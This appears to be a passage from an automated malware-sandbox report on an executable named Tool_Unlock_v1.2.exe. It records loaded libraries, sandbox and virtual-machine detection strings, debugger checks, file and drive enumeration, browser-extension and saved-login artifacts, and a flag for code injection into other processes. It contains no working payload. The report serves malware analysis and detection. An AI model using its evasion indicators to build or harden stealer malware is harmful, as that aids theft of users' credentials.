Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6284 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6640 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6588 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Tool_Unlock_v1.2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Tool_Unlock_v1.2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Tool_Unlock_v1.2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Tool_Unlock_v1.2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Tool_Unlock_v1.2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: Tool_Unlock_v1.2.exe

Static PE information: real checksum: 0xb40ec should be: 0xb2fde

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_0033FB83 push ecx; ret	0_2_0033FB96
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0033FB83 push ecx; ret	3_2_0033FB96
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00426230 push eax; mov dword ptr [esp], 00000000h	3_2_00426234
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00401710 push eax; mov dword ptr [esp], 00000000h	3_2_00401712
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00401B60 push eax; mov dword ptr [esp], 00000000h	3_2_00401B63

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Tool_Unlock_v1.2.exe	Binary or memory string: DIR_WATCH.DLL
Source: Tool_Unlock_v1.2.exe	Binary or memory string: SBIEDLL.DLL
Source: Tool_Unlock_v1.2.exe	Binary or memory string: API_LOG.DLL
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: EABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/%HS%S%SDELAYS.TMPWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-20201

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_00351F38 FindFirstFileExW,	0_2_00351F38
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_00351FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00351FE9
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00351F38 FindFirstFileExW,	3_2_00351F38
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00351FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00351FE9
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00402CC0 FindFirstFileA,	3_2_00402CC0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0042ED20 FindFirstFileA,memset,memset,	3_2_0042ED20
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00410E80 FindFirstFileA,	3_2_00410E80
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0040F070 FindFirstFileA,	3_2_0040F070
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00415221 FindFirstFileA,	3_2_00415221
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004132E0 FindFirstFileA,	3_2_004132E0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004315C0 FindFirstFileA,	3_2_004315C0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0042FE60 FindFirstFileA,	3_2_0042FE60
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00417F79 FindFirstFileA,	3_2_00417F79
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00402E74 FindFirstFileA,	3_2_00402E74

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 3_2_0042FA59 GetLogicalDriveStringsA,

3_2_0042FA59

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 3_2_00426960 GetSystemInfo,

3_2_00426960

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWu
Source: Amcache.hve.3.dr	Binary or memory string: VMware
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.10.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.3.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.3.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.3.dr	Binary or memory string: vmci.sys
Source: Web Data.10.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.10.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.3.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.3.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.3.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.3.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Web Data.10.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Web Data.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.3.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.3.dr	Binary or memory string: VMware, Inc.
Source: Web Data.10.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.3.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.3.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.3.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: msedge.exe, 00000008.00000003.2352344657.000001AC00314000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.3.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.10.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.3.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: msedge.exe, 00000008.00000002.2388400801.000001573E855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.10.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.3.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin`
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.3.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Web Data.10.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.3.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Web Data.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.3.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Web Data.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 0_2_0033F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0033F8E9

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_0036A19E mov edi, dword ptr fs:[00000030h]	0_2_0036A19E
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_00331FB0 mov edi, dword ptr fs:[00000030h]	0_2_00331FB0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00331FB0 mov edi, dword ptr fs:[00000030h]	3_2_00331FB0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004017C0 mov eax, dword ptr fs:[00000030h]	3_2_004017C0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00401780 mov eax, dword ptr fs:[00000030h]	3_2_00401780
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004017A0 test dword ptr fs:[00000030h], 00000068h	3_2_004017A0

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 0_2_0034D8E0 GetProcessHeap,

0_2_0034D8E0

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_0033F52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0033F52D
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_0033F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0033F8E9
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_0033F8DD SetUnhandledExceptionFilter,	0_2_0033F8DD
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_00347E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00347E30
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0033F52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0033F52D
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0033F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0033F8E9
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0033F8DD SetUnhandledExceptionFilter,	3_2_0033F8DD
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00347E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00347E30

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

